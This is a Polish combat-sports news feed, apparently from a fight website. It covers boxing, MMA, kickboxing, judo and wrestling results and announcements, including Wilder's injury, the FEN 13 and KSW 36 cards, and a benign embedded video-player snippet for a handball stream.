Mistrz świata WBC w wadze ciężkiej Deontay Wilder oddał się pod opiekę lekarzy. W ostatniej walce z Chrisem Arreolą ucierpiała prawa dłoń popularnego „Bronze Bombera”. 

W lipcu br. roku 30-latek stoczył czwartą walkę w obronie mistrzowskiego pasa. Chris Arreola trzymał się na nogach i bardzo chciał, ale moc pięści Wildera przemówiła po raz kolejny. Pochodzący z Alabamy bokser położył rywala na deski w ósmej rundzie. Jednak sam nie wyszedł z pojedynku bez strat.

Zabieg goni zabieg

Wilder po raz kolejny zachwycił publiczność i pokazał, że jest prawdziwym dominatorem. Wygrał trzydziestą szóstą walkę przed czasem. Dodatkowo w trakcie pojedynku doznał kontuzji prawej dłoni, co sprawiło, że do dyspozycji miał tylko lewą rękę. Arreola nie potrafił wykorzystać okazji, bo Wilder najzwyczajniej w świecie mu na to nie pozwolił. Mistrz świata WBC poradził sobie genialnie i słał w stronę oponenta kolejne ciosy. W końcu zadał ten ostateczny. Wzniósł ręce w geście triumfu, ale następnie sam musiał oddać się pod opiekę lekarzom.

W ubiegłym tygodniu amerykański mistrz przeszedł pierwszy zabieg kontuzjowanej dłoni. Niebawem Wildera czeka druga operacja. Po raz kolejny lekarze będą musieli zająć się prawą dłonią boksera. Jednak to nie koniec perypetii zdrowotnych mistrza z Alabamy. Następnie lekarze zajmą się prawym bicepsem Wildera, który również ucierpiał w starciu z Arreolą. Perypetie zdrowotne powodują, że kolejna walka Amerykanina wydaje się kwestią przyszłego roku.

W tym miejscu warto wrócić do pojedynku. Przed walką przeprowadzono testy antydopingowe, za które odpowiadała agencja WADA. Swego czasu problemy z zakazanymi środkami miał Chris Arreola. Wyniki testów dały wynik negatywny.

Następny będzie Powietkin

Cały czas przewija się temat starcia Wildera z Aleksandrem Powietkinem. Rosjanin miał podjąć próbę rywalizacji o pas w maju br., jednak do walki nie doszło. Dlaczego? Badania antydopingowe przeprowadzone przed pojedynkiem wykazały, że w organizmie Powietkina znajdowały się zakazane substancje w postaci meldonium.

Obecnie sprawa jest dokładnie badana. Komisja powołana przez WBC zajmuje się przypadkiem rosyjskiego boksera i niebawem powinna przedstawić wyniki swoich prac. Trudno stwierdzić, jaka decyzja zostanie podjęta względem Powietkina. Początkowo przewidywano, że obóz Wildera poczeka na ocenę komisji. Jednak ostatecznie zdecydowano o zakontraktowaniu pojedynku z Arreolą.

Powietkin musi zatem cierpliwie czekać na wyniki prac komisji. W przypadku korzystnego rozstrzygnięcia, rozmowy na temat pojedynku z Wilderem powinny ponownie ruszyć.

Urodzony w Kursku pięściarz już raz posmakował tytułu czempiona. W 2011 roku wywalczył mistrzostwo świata WBA pokonując Rusłana Czagajewa. Do tej pory Powietkin poniósł tylko jedną porażkę. W październiku 2013 roku odprawił go Władimir Kliczko, który aż cztery razy posłał Rosjanina na deski. Ostatecznie Ukrainiec wygrał jednogłośnie na punkty.

KM

Robert Rajewski jr rywalem Aleksa Georgasa na gali FEN 13 Summer Edition

Federacja Fight Exclusive Night zdradziła nazwisko przeciwnika Aleksandra Georgasa, który na gali FEN 13 Summer Edition zadebiutuje w klatkoringu tej organizacji. Zawodnik klubu Mighty Bulls Gdynia w walce w kategorii piórkowej zmierzy się z Robertem Rajewskim juniorem, reprezentującym Rajewski Team Płock i Nastula Club.

Robert Rajewski junior (25 lat, 180 cm, 3-1) to syn i podopieczny znanego trenera Roberta Rajewskiego (jego drugim szkoleniowcem jest Mirosław Okniński). Wywodzi się ze sportów stójkowych, jest wielokrotnym mistrzem Polski w wushu sanda oraz kickboxingu, w 2014 roku brał także udział w prestiżowym turnieju K-1 King Of Kings World GP. Ostatni duży sukces poza MMA odniósł w czerwcu tego roku, zdobywając tytuł międzynarodowego mistrza Polski w wushu sanda. Zawodową karierę w mieszanych sztukach walki rozpoczął od trzech wygranych walk z rzędu na galach PLMMA – pokonał w nich kolejno Dawida Gryca, Dawida Gabarę i Piotr Pawlika. Te zwycięstwa otworzyły mu drogę do klatkoringu Fight Exclusive Night, w którym zadebiutował na gali FEN 7 Real Combat w Bydgoszczy. Walka z Marcinem „Polish Zombie” Wrzoskiem, późniejszym uczestnikiem gali UFC, była jego pierwszą i jak dotąd jedyną porażką na zawodowej arenie.

Debiutujący w federacji Fight Exclusive Night Aleksander Georgas (26 lat, 175 cm, 7-4), mimo młodego wieku, jest już doświadczonym fighterem MMA. Karierę zawodową rozpoczął w 2011 roku od efektownej serii pięciu wygranych walk z rzędu, którą zwrócił na siebie uwagę kibiców i dziennikarzy. Co prawda, podopieczny słynnego trenera Grzegorza „Jakubka” Jakubowskiego kolejne cztery pojedynki przegrał, ale warto podkreślić, że we wszystkich tych starciach miał mocnych rywali – wśród nich był m.in. obecny mistrz FEN wagi lekkiej Roman Szymański – i w aż trzech z nich zwycięzcę musieli wskazać sędziowie. Na zwycięską ścieżkę Georgas powrócił wiosną 2015 roku – w dwóch ubiegłorocznych walkach z Łukaszem Kuligiem i Kevinem Nowakiem dopisał do swojego rekordu kolejne dwie wygrane.

13 sierpnia na gali FEN 13 Summer Edition w Gdynia Arena na zasadach MMA walczyć będą również Piotr Hallmann z Kamilem Łebkowskim, Dawid Mora z Michałem Wlazło, Marian Ziółkowski z Jackiem Kreftem, Bartłomiej Kopera z Tomaszem Zawadzkim i Bartosz Chyrek z Ireneuszem Szydłowskim. Kibice zobaczą także pojedynki w formule K-1 Kryspina Kalskiego z Arkadiuszem Wrzoskiem, Marcina Szredera z Arturem Bizewskim, Róży Gumiennej z Kamilą Bałandą, Jarosława Daschke z Marcinem Stopką i Karola Kruzela z Jakubem Rajewskim. Nazwiska kolejnych uczestników gali ogłoszone zostaną w najbliższych dniach.

Bilety na FEN 13 Summer Edition można już kupować w serwisach Eventim.pl oraz KupBilet.pl, a zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 13 Summer Edition znajdziecie na stronie internetowej Fight Exclusive Night oraz fanpage’u federacji FEN na Facebooku.

FEN

Bez medalu w Pradze, najwyżej Isenko

Ponownie niewiele do szczęścia zabrakło Annie Isenko (63kg). Polska judoczka zajęła piąte miejsce w Pucharze Europy Juniorek w Pradze, co było najlepszym wynikiem spośród wszystkich biało-czerwonych. Wcześniej taki wynik osiągnęła m.in. w Sankt Petersburgu.

W stolicy Czech wystartowało blisko 400 zawodników. Wśród pań najsilniej była obsadzona kategoria 63kg, gdzie startowała Anna Isenko – 33 judoczki. U panów najwięcej zawodników zaprezentowało się w 73kg – 51. Najsłabiej obsadzona była kategoria 78kg, gdzie walczyły tylko dwie panie.

Dobry występ Isenko

W kategorii 63kg wystartowały aż cztery Polki, ale tylko jedna z występu w Pradze może być zadowolona. Katarzyna Kasza, Marta Wykupił i Barbara Kulik nie wygrały ani jednej walki. Za to od samego początku dobrze prezentowała się Anna Isenko. Polka z pojedynku na pojedynek wyglądała coraz pewniej. Rozpoczęła od wygranej z Niemką Cariną Seiferth, następnie pokonała Klarą Mattsson i mocną Andreję Leski. Wszystkie pojedynki rozstrzygnęła przez yuko.

Jednak w decydujących chwilach Isenko nie była już tak skuteczna. W półfinałach znalazły się trzy Niemki i Polka, jednak nasza zawodniczka trafiła na Marie Charlotte Klose, która wygrała zmagania w Pradze. Zatem pozostała walka o brąz, a w niej lepsza okazała się medalistka tegorocznych mistrzostw świata i Europy kadetek – Hanna Kukharuk.

Tylko jeden pojedynek w 70kg stoczyła Karolina Miller. Dwie porażki w Pradze zanotowała Katarzyna Madajewska (+78kg).

Wśród panów najlepiej wypadł Szymon Jasiński (66kg). Polski judoka wygrał dwie walki, jednak w trzeciej musiał uznać wyższość Karo Marandiana z Ukrainy. W repasażach Jasiński walczył ze zmiennym szczęściem. Szans na medal pozbawił go Yarin Menaged.

Dzielnie walczył Ksawery Morka w najliczniej obsadzonej kategorii 73kg. Polak wygrał dwa pojedynki, a w trzecim starciu nie znalazł recepty Timo Allemanna. W pierwszym pojedynku poległ Kamil Kotlik (81kg). Azar Yagubov w 90kg sięgnął po brązowy medal. Reprezentant Azerbejdżanu na początku pokonał Eryka Ryciaka, który nie popisał się również w repasażach. Dominik Majowski (100kg) i Przemysław Szuta (+100kg) szybko zakończyli udział w Pucharze Europy.

Turcja na czele

Spośród 35 nacji najlepiej zaprezentowali się Turcy, którzy wywalczyli osiem medali, w tym trzy złote. Na najwyższym stopniu podium stawali: Bilal Ciloglu (66kg), Ilayda Seyis (57kg) i Sebile Akbulut (+78kg). Co prawda, Niemcy wywalczyli jeden krążek więcej, ale zdobyli tylko dwa z najszlachetniejszego kruszcu. Podium uzupełnia Austria z trzema medalami. 

Za ich plecami Węgry, Azerbejdżan i Białoruś. Gospodarze, Czesi, bez medalu.

KM

Szybka robota Valdeza

Ciekawa noc w Las Vegas. W MGM Grand Oscar Valdez zgarnął wakujący pas WBO w kategorii piórkowej. Powody do radości ma również Terence Crawford, który ma już dwa tytuły mistrzowskie.

Niewielki, 166 cm, 25-letni Valdez w ringu jest niczym torpeda. Kolejni rywale poznają dokładnie stan desek w rywalizacji z Meksykaninem. Tym razem ten los spotkał Matiasa Ruedę.

Meksykańska siła

Bilans walk zawodowych Valdeza robi wrażenie. 25-latek wygrał dwadzieścia pojedynków i tylko dwa na punkty. Jest do bólu skuteczny i w końcu dostał okazję, aby potwierdzić swój potencjał w starciu o pas WBO. 

Jego rywal, Matias Rueda, również prezentował się solidnie, choć boksował jedynie w Argentynie. Zdobywał pasy mistrzowskie w Ameryce Południowej, gdzie nokautował kolejnych rywali. W taki sposób wygrał 23 na 26 pojedynków. Warto nadmienić, że w październiku 2015 roku miał okazję rywalizować w Stanach Zjednoczonych. W A La Carte Event Pavilion na Florydzie spotkał się z Manuelem de los Reyesem Herrerą i zwyciężył przez nokaut. Drugiej wizyty w USA nie będzie wspominał tak miło, choć miał nadzieję, że uda mu się wypłynąć na szerokie wody.

Valdez od początku prezentował się solidnie. 25-latek założył sobie, że będzie dyktował warunki rywalizacji i zmusi przeciwnika do podporządkowania się. Meksykanin realizował założenia od pierwszych sekund rywalizacji. W rundzie otwierającej Rueda przyjął kilka ciosów, które pokazały mu, że musi przygotować się na trudną walkę. Valdez nie zamierzał przedłużać starcia. W drugiej odsłonie przeprowadził ofensywę. Rueda dwa razy leżał na deskach, co jest jednoznacznie potwierdz przewagę Valdeza, który może cieszyć się z z tytułu mistrza WBO w wadze piórkowej.

Zdominował rywala

Terence Crawford zrobił wszystko, aby w Las Vegas wejść na szczyt w wadze super lekkiej. Zadania wcale nie chciał mu ułatwiać Wiktor Postoł, czempion federacji WBC.

28-letni Crawford śrubuje swój rekord i gromadzi tytuły. Zaczął w 2013 roku od pasa WBO NABO w kategorii lekkiej. W marcu 2014 roku pokonał na punkty Ricky'ego Burnsa i wywalczył tytuł mistrza świata WBO. Później postanowił spróbować sił w rywalizacji w kategorii super lekkiej. Na początek sięgnął po wakujący pas WBO pokonując na punkty Raymundo Beltrana. Niemal tradycją stało się, że w pojedynkach mistrzowskich Crawford walczył na pełnym dystansie i czekał na werdykt sędziów.

W starciu z 32-letni Ukraińcem Amerykanin wiedział, że musi być cierpliwy. W większości pojedynków Postoł boksuje na pełnym dystansie. Jednak w starciu z Lucasem Martinem Matthysse wygrał przez nokaut w 10. rundzie i wywalczył pas WBC. Ogromny sukces Ukraińca, jednak nie cieszył się nim długo. Już w pierwszej obronie Postol nie dał rady, choć przez cztery rundy rywalizacji z Crawfordem wyglądał solidnie. Z czasem Amerykanin pokazał, że lepiej opanował bokserskie rzemiosło. W piątej rundzie Postoł był dwukrotnie liczony. Sytuacja Ukraińca komplikowała się, gdyż nie potrafił znaleźć recepty na rywala, a Crawford punktował go kolejnymi ciosami. W końcówce 32-latek szukał swojej szansy, ale stracił punkty za uderzenia w tył głowy. Dotrwał do końca, jednak werdykt wydawał się oczywisty. 118-107, 118-107, 117-108 dla Crawforda.

fot. aztecadeportes.com

KM

Sztokholm z polskimi medalami

Mistrzostwa Europy kadetów w zapasach w Sztokholmie na ostatniej prostej. Cały czas liczymy na złoty medal. O krok od triumfu w kategorii 70kg była Ewelina Ciunek, jednak w finale lepsza okazała się Anastasiya Zimiankova. Brąz wywalczyła Paulina Martyka (60kg).

Początek w wykonaniu polskiej reprezentacji nie był najlepszy. Na medale trzeba było czekać do czwartego dnia zmagań. Mogło się udać wcześniej, gdyby nie Naila Seyyara. Reprezentant Turcji w kategorii 85kg w rywalizacji o brąz wygrał z Jakubem Szymulą.

Rozpędzona Ciunek

Oczami wyobraźni już widzieliśmy Eweliną Ciunek (70kg) na najwyższym stopniu podium. Polka radziła sobie świetnie i w każdym pojedynku wyraźnie zaznaczała swoją przewagę. W 1/8 finału Ciunek spotkała się z Dzianą Klimets, która nie miała zbyt wiele do powiedzenia. Kolejne dwie walki pokazały ogromne możliwości Polki. Bernadett Nagyy w ćwierćfinale była nieustępliwa, jednak Ciunek wyszła z tej rywalizacji zwycięsko. Evgeniia Zakharchenko również została pozostawiona przez naszą zawodniczkę w tyle. Medal był już pewny. Pozostawało pytanie, jakiego będzie koloru. Nieustępliwa Anastasiya Zimiankova robiła wszystko, aby storpedować zapędy Ciunek i jej się to udało. Polka odebrała srebrny medal. W kategorii 70kg rywalizowała również Ewelina Kaczyńska, która uplasowała się na 15. pozycji. 

Paulina Martyka i 21 kolejnych zawodniczek pojawiło się na starcie w 60kg. Polka zaczęła dobrze i pewnie pokonała Viktorię Felho z Węgier. Jednak w rywalizacji z Eleną Sell nie potrafiła się odnaleźć, co przełożyło się na zdecydowane zwycięstwo przeciwniczki. Pozostawała nadzieja, że w repasażach uda się coś ugrać. Zwycięstwo ze Szwedką Liv Martinsson pozytywnie podziałało na Martykę, które w pojedynku o brąz pokonała Korneliję Zaicevaite.

Nasza panie wywalczyły dwa medale, czym dostarczyły nam trochę radości po przeciętnych występach wolniaków. Jak prezentowały się pozostałe zapaśniczki? Nikola Dytrych nie będzie miało wspominała występy w Sztokholmie. Polka w gronie 11 zawodniczek uplasowała się na ostatnim miejscu. Z kolei Monika Klapuszewska (43kg) zajęła 11. lokatę. W kategorii 49kg na starcie pojawiły się 24 zapaśniczki. Amanda Tomczyk dotarła do ćwierćfinału, gdzie poległa z Niemką Hanną Frotsch i zajęła 13. lokatę. Dwie pozycje wyżej uplasowała się Renata Nieściur. Sylwia Martyka (56kg) stoczyła tylko jedną walkę i została sklasyfikowana na 17. miejscu. Dobry początek Wiktorii Chołuj (65kg), jednak w 1/8 zakończyła przygodę z mistrzostwami. W 52kg startowały dwie Polki. Magdalena Głodek była dwunasta, a Natalia Duksa w końcówce stawki (22).

Klasycy bez błysku

Jako ostatni do rywalizacji stanęli zapaśnicy w stylu klasycznym. Polacy bez błysku, w większości odpadali po pierwszych walkach. Jedynie Piotr Zabłocki (69kg) i Michał Dybka (85kg) dotarli do 1/8 finału.

KM

Mocny cios KSW

Do kolejnej gali Konfrontacji Sztuk Walki zostało 70 dni. 1 października w Zielonej Górze ma być niezwykle gorąco. Organizacja przedstawiła już najważniejszych bohaterów wieczoru i zastosowała terapię szokową w postaci ujawnienia walki głównej. Michał Materla zmierzy się z mocnym Rousimarem Palharesem.

Włodarze KSW stawiają „Magica” przed trudnym zadaniem. Jednak to dobra droga, aby Materla udowodnił, że porażka z Khalidovem to wypadek przy pracy. W rywalizacji z mocnym rywalem może udowodnić swoją wartość. Czy pokaże moc podczas KSW 36?

Poddaje kolejnych rywali 

36-letni Rousimar Palhares to zawodnik z potężnym bagażem doświadczeń. Brazylijczyk zaliczył dwanaście walk w UFC. W amerykańskiej organizacji debiutował w maju 2008 roku, kiedy to pokonał już w pierwszej rundzie Ivana Salaverry'ego. W kolejnym starciu nie znalazł recepty na Dana Henderson, z którym przegrał decyzją sędziów. Brazylijczyk doświadczył już rywalizacji z polskim fighterem. Podczas UFC 111 w marcu 2010 roku spotkał się w oktagonie z Tomaszem Drwalem, jednak nasz zawodnik nie ma miłych wspomnień z rywalizacji z Palharesem. Fighter z Kraju Kawy załatwił sprawę w 45 sekund. Skuteczna dźwignia na staw skokowy sprawiła, że Drwal zmuszony był odklepać. Brazylijczyk dobrze prezentował się w UFC, a został zapamiętany jako ten, który niezwykle często poddaje rywali. W najlepszej organizacji MMA na świecie ostatni raz walczył blisko trzy lata temu. W 31 sekund zdemolował Mike'a Pierce'a.

Ostatnio Brazylijczyk prezentował się na galach WSOF, gdzie wygrał trzy walki z rzędu. Warto nadmienić, że wszystkie przed czasem. W tym roku wystąpił tylko raz, na gali Venator FC 3. Emil Weber Meek nie dał szans Palharesowi. Łokcie i mocne ciosy były receptą na pokonanie Brazylijczyka w zaledwie 45 sekund.

Michał Materla ma materiał, nad którym musi intensywnie pracować. Brazylijczyk to mocny rywal, jednak już poza pierwszym obiegiem. Mimo to cały czas jest groźny. Materla jest cztery lata młodszy i może w tym upatrywać swoją przewagę. Potrafi wyczekać rywala, aby w końcu potraktować go kończącym ciosem. Materla wrócił po porażce z Khalidovem, kiedy stracił pas mistrzowski w wadze średniej. W maju pokonał Antoniego Chmielewskiego i pokazał, że jeszcze stać go na dobre walki. Z Brazylijczykiem nie będzie miał łatwej przeprawy.

Będą bronić tytułów

W Zielonej Górze zaprezentuje się Tomasz Narkun. Mistrz wagi półciężkiej poczyna sobie coraz pewniej i pokazuje, że wejście z nim do klatki jest aktem prawdziwej odwagi. W ostatnich trzech walkach jego rywale nie dotrwali nawet do końca pierwszej rundy.

Z kolei Mateusz Gamrot będzie miał okazję stanąć po raz pierwszy w obronie pasa w wadze lekkiej, który wywalczył w Gdańsku pokonując Mansoura Barnaouiego. Do tej pory nie przegrał. Drugą walkę dla KSW stoczy Michał Kita, który będzie chciał odnieść zwycięstwo i rozpocząć nowy rozdział w karierze. W debiucie przegrał z Karolem Bedorfem.

KM

Kopera kontra Zawadzki na gali FEN 13 Summer Edition

13 sierpnia na gali FEN 13 Summer Edition kibice ponownie zobaczą w klatkoringu Fight Exclusive Night jednego z najbardziej utalentowanych polskich piórkowych Bartłomieja Koperę. Łodzianin w walce otwierającej kartę główną zawodów w Gdynia Arena zmierzy się z równie mocnym Tomaszem Zawadzkim z Ełku.

Dla 23-letniego Bartłomieja „Małpy” Kopery (175 cm, 7-2) będzie to drugi występ na gali federacji FEN. Reprezentant klubu Zenith Vera Fight Club Łódź debiutował wiosną tego roku na gali FEN 11 Warsaw Time, podczas której po niezwykle zaciętej, emocjonującej walce wygrał na punkty z Sebastianem Kotwicą. Było to piąte z rzędu zwycięstwo łodzianina, który dzięki temu zanotował awans do czołówki rankingów kategorii piórkowej polskiego MMA. „Małpa”, który swoją przygodę ze sportami walki rozpoczął już jako kilkulatek od judo, to wielokrotny amatorski mistrz Polski w MMA, mistrz Polski w brazylijskim jiu-jitsu i medalista mistrzostw Polski w judo. Karierę zawodowego fightera mieszanych sztuk walki rozpoczął w 2010 roku, zanim jeszcze osiągnął pełnoletność. W aż pięciu z siedmiu wygranych walk zmuszał swoich rywali do poddania, pokonując w taki sposób m.in. Rosjanina Vladimira Karasiova, Litwinów Linasa Griguolę i Dariusa Mikuzisa oraz Węgra Tamasa Polgara. Ostatnią jego walką było wspomniane starcie z Sebastianem Kotwicą na stołecznym Torwarze.

Przeciwnik Bartłomieja Kopery na gali FEN 13 Summer Edition jeszcze dla federacji Fight Exclusive Night nie walczył. Wywodzący się z kickboxingu, ale od blisko dekady koncentrujący się na mieszanych sztukach walki Tomasz „Tomas” Zawadzki (28 lat, 170 cm, 5-2-1) dotychczas występował na mniejszych imprezach, mierząc się m.in. z Arbi Shamaevem, Marcinem Kabatem i Maciejem Sikońskim. W swoim ostatnim pojedynku na gali PLMMA 66/3F w kwietniu tego roku pokonał na punkty Szweda Martina Foudę. Zawodnik MMA Team Ełk, który karierę sportową łączy ze służbą wojskową – jest żołnierzem 15. Giżyckiej Brygady Zmechanizowanej – dwa miesiące temu obronił także tytuł Wojskowego Mistrza Polski MMA w kategorii 70 kg na Mistrzostwach Wojska Polskiego w Walce w Bliskim Kontakcie.

13 sierpnia na gali FEN 13 Summer Edition w Gdynia Arena na zasadach MMA walczyć będą również Piotr Hallmann z Kamilem Łebkowskim, Dawid Mora z Michałem Wlazło, Marian Ziółkowski z Jackiem Kreftem i Bartosz Chyrek z Ireneuszem Szydłowskim. Kibice zobaczą także pojedynki w formule K-1 Kryspina Kalskiego z Arkadiuszem Wrzoskiem, Marcina Szredera z Arturem Bizewskim, Róży Gumiennej z Kamilą Bałandą, Jarosława Daschke z Marcinem Stopką i Karola Kruzela z Jakubem Rajewskim. Nazwiska kolejnych uczestników gali ogłoszone zostaną w najbliższych dniach.

Bilety na FEN 13 Summer Edition można już kupować w serwisach Eventim.pl oraz KupBilet.pl, a zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 13 Summer Edition znajdziecie na stronie internetowej Fight Exclusive Night oraz fanpage’u federacji FEN na Facebooku.

informacja prasowa

Powrót Sosnowskiego? Rywalem Wawrzyk?

Kilka dni temu na łamach fightime.pl informowaliśmy o możliwym powrocie na ring Manny Pacquiao. Zwracaliśmy uwagę, że często bokserzy nie mogą wytrzymać na emeryturze i brakuje im smaku rywalizacji. Czy tak samo jest w przypadku Alberta Sosnowskiego?

Nie tak dawno „Dragon” żegnał się z ringiem. Podsumowywano jego dokonania oraz analizowano rolę w polskim boksie. Być może na próżno. Niewykluczone, że 37-latek popracuje jeszcze nad swoim rekordem.

Ciężkie starcie

17 września w trójmiejskiej Ego Arenie miłośnicy pięściarstwa z Polski będą świadkami rywalizacji Krzysztofa Głowackiego z Ołeksandrem Usykiem. Polak po raz drugi będzie bronił mistrzowskiego pasa WBO kategorii junior ciężkiej, który wywalczył w sierpniu 2015 roku w starciu z Marco Huckiem. Dotychczas Głowacki raz bronił tytułu w rywalizacji ze Stevem Cunninghamem. Teraz przyjdzie mu się zmierzyć z wysoko ocenianym Usykiem.

Zanim przyjdzie czas na danie główne, trzeba będzie zaspokoić się przystawkami. Prawdopodobnie w Ergo Arenie na ring wróci Albert Sosnowski. Popularny „Dragon” w marcu w Żyrardowie uporał się z Andrasem Csomorem i miała być to ostatnia walka w karierze Polaka. Jednak ciągnie wilka do lasu. Na Sosnowskiego czeka Andrzej Wawrzyk. 

Mimo, że dzieli ich osiem lat to obaj mają za sobą bogate doświadczenia na ring. „Dragon” w maju 2010 roku stanął w szranki z Witalijem Kliczko o prymat w kategorii królewskiej. Polak dzielnie trzymał się przez dziesięć rund, jednak Ukrainiec w końcu zdołał posłać go na deski. W Wawrzyku widziano kolejną polską nadzieję na mistrzowski pas w wadze ciężkiej. 28-latek z Krakowa stanął przed szansą wdrapania się na szczyt w maju 2013 roku. Jego marzenia w starciu z Aleksandrem Powietkinem prysły już w trzeciej rundzie. Do tej pory jest to jedyna porażka w karierze Wawrzyka.

Warto dodać, że obaj pięściarze mieli spotkać się w maju 2014 roku. Planowano, że w Lublinie Sosnowski i Wawrzyk stoczą bój o tytuł międzynarodowego mistrza Polski wagi ciężkiej. Pojedynek został odwołany ze względu na obrażenia, których bokser z Krakowa doznał w wypadku samochodowym.

Czy w końcu dojdzie do tego pojedynku? Niektórzy mówią, że Sosnowski to już emeryt. W maju 2014 roku przegrał z Marcinem Rekowskim i w ringu zaprezentował się dopiero w marcu br. Z kolei Wawrzyk wygrał pięć kolejnych pojedynków z rzędu i wszystkie rozstrzygnął przed czasem. Zapewne byłby faworytem starcia z „Dragonem”. Zresztą może poważnie myśleć o drodze do bardziej prestiżowych walk, gdyż jest w doskonałym wieku i jego bilans robi wrażenie.  

Ugonoh wygrywa

Kolejną walkę stoczył Izuagne Ugonoh. 29-letni pięściarz urodzony w Szczecinie wypunktował w Christchurch Ricardo Humberto Ramireza w starciu wagi ciężkiej. Przewaga Ugonoha ani przez chwilę nie podlegała dyskusji. Argentyńczyk był liczony już w drugiej rundzie, jednak nie wytrwał zbyt długo. Izu w czwartej odsłonie zdecydowanie przyspieszył i posłał w stronę rywala ogromną liczbę ciosów. 

29-latek odniósł szesnaste zwycięstwo w karierze.

KM

LIVE: Międzynarodowy Turniej Reprezentacji Juniorów w Piłce Ręcznej

Zapraszany na transmisję telewizyjną na żywo z Międzynarodowego Turnieju Reprezentacji Juniorów w Piłce Ręcznej. Turniej odbędzie się w dniach 22-24 lipca 2016 r. w Płocku. Transmisja w piątek (22.07) i sobotę (23.07) od godz. 16:00. 

[kod]

Związek Piłki Ręcznej w Polsce

Związek Piłki Ręcznej w Polsce

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/ZPRP_Swarzedz.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/ZPRP_Swarzedz.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/ZPRP_Swarzedz.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/ZPRP_Swarzedz.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Bizewski rywalem Szredera na gali FEN 13 Summer Edition

Marcin Szreder wreszcie poznał nazwisko swojego przeciwnika na gali FEN 13 Summer Edition. 13 sierpnia w Gdynia Arena zawodnika Palestry Warszawa czeka ciężka walka, bo w klatkoringu Fight Exclusive Night spotka się ze zdobywcą Pucharu Świata i medalistą mistrzostw Europy Arturem Bizewskim z Agoga Gym Lębork.

Artur „Bizon” Bizewski (27 lat, 191 cm, 4-0) reprezentuje obecnie klub Agoga Gym Lębork, ale jest wychowankiem Kartuskiego Klubu Kickboxingu „Rebelia”. Jego trenerem jest były selekcjoner kadry narodowej Rafał Kałużny. „Bizon” treningi kickbokserskie rozpoczął późno, bo dopiero w 2012 roku. Wcześniej uprawiał wyciskanie sztangi leżąc, jednak jego nieźle zapowiadającą się karierę w tej dyscyplinie przerwało zerwanie mięśnia piersiowego. W nowym sporcie szybko zaczął odnosić duże sukcesy: w kickboxingu kick-light trzykrotnie został mistrzem Polski, dwa razy sięgnął po Puchar Świata i raz wywalczył brązowy medal mistrzostw Europy, a w kickboxingu low-kick zdobył Puchar Polski.

W zawodowym ringu Bizewski walczył cztery razy, za każdym razem zwyciężając. W swoim ostatnim występie na gali WBT 2 w październiku 2015 roku w Gdańsku decyzją sędziów pokonał Mariusza Paryża. Warto wspomnieć, że podczas pierwszej edycji tych zawodów, w czerwcu ubiegłego roku, również na punkty wygrał z innym uczestnikiem gali FEN 13 Summer Edition, utytułowanym Arkadiuszem Wrzoskiem.

Marcin Szreder (39 lat, 186 cm, 4-0), który w federacji Fight Exclusive Night debiutował na marcowej gali FEN 11 Warsaw Time, to weteran polskiego kickboxingu. Zawodnik klubu Palestra Warszawa ma 39 lat, ale nadal trenuje z pasją, energią i entuzjazmem godnymi początkującego adepta sztuk walki. Takiemu właśnie podejściu do sportu podopieczny Łukasza Roli zawdzięcza swoje sukcesy – ma na koncie m.in. Puchar Europy WAKO w K-1, Puchar Europy WAKO w kickboxing low-kick oraz złoty medal Polish Open. Jest także wielokrotnym medalistą mistrzostw Polski. Jako amator wygrał ponad 20 walk, a jego bilans zawodowy to 4 zwycięstwa bez porażki. W ostatnim swoim występie, podczas wspomnianej wcześniej gali FEN 11 na stołecznym Torwarze, bez problemu rozprawił się z młodszym o 9 lat Aytakiem Yahsim, dominując nad Turkiem z niemieckim paszportem w każdej rundzie.

Na gali FEN 13 Summer Edition w walkach w formule K-1 kibice zobaczą również pojedynki Róży Gumiennej z Kamilą Bałandą, Kryspina Kalskiego z Arkadiuszem Wrzoskiem, Jarosława Daschke z Marcinem Stopką i Karola Kruzela z Jakubem Rajewskim. Z kolei na zasadach MMA 13 sierpnia w Gdynia Arena walczyć będą m.in. Piotr Hallmann z Kamilem Łebkowskim, Marian Ziółkowski z Jackiem Kreftem, Bartosz Chyrek z Ireneuszem Szydłowskim oraz Michał Wlazło i Aleksander Georgas. Nazwiska kolejnych uczestników gali ogłoszone zostaną w najbliższych dniach.

Bilety na FEN 13 Summer Edition można już kupować w serwisach Eventim.pl oraz KupBilet.pl, a zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 13 Summer Edition znajdziecie na stronie internetowej Fight Exclusive Night oraz fanpage’u federacji FEN na Facebooku.

FEN

Jaką odzież MMA wybrać na początek?

Mieszane sztuki walki cieszą się w naszym kraju coraz większą popularnością. Przybywa nie tylko samych widzów gal MMA, ale również osób, które pragną samemu uprawiać tę sztukę walki. Trend ten dostrzegają producenci ubrań sportowych – stąd na rynku można znaleźć coraz więcej profesjonalnej odzieży do MMA.

 

Jeżeli chodzi o odzież MMA, to oferta na polskim rynku z każdym kolejnym rokiem staje się coraz bogatsza. To bardzo dobra wiadomość dla miłośników tej dyscypliny sportu, gdyż duża konkurencja wymusza na firmach odzieżowych nieustanne podnoszenie jakości ubrań. A w przypadku tego typu odzieży jakość ma ogromne znaczenie, bo bezpośrednio wpływa na komfort i wydajność naszych ćwiczeń. I choć do kilku pierwszych treningów w zupełności wystarczy najzwyklejszy t-shirt i krótkie spodenki, to szybko okaże się, że na dłuższą metę to zdecydowanie za mało.

""

Extreme Hobby Spodenki Vale Tudo

Odzież MMA – od czego zacząć?

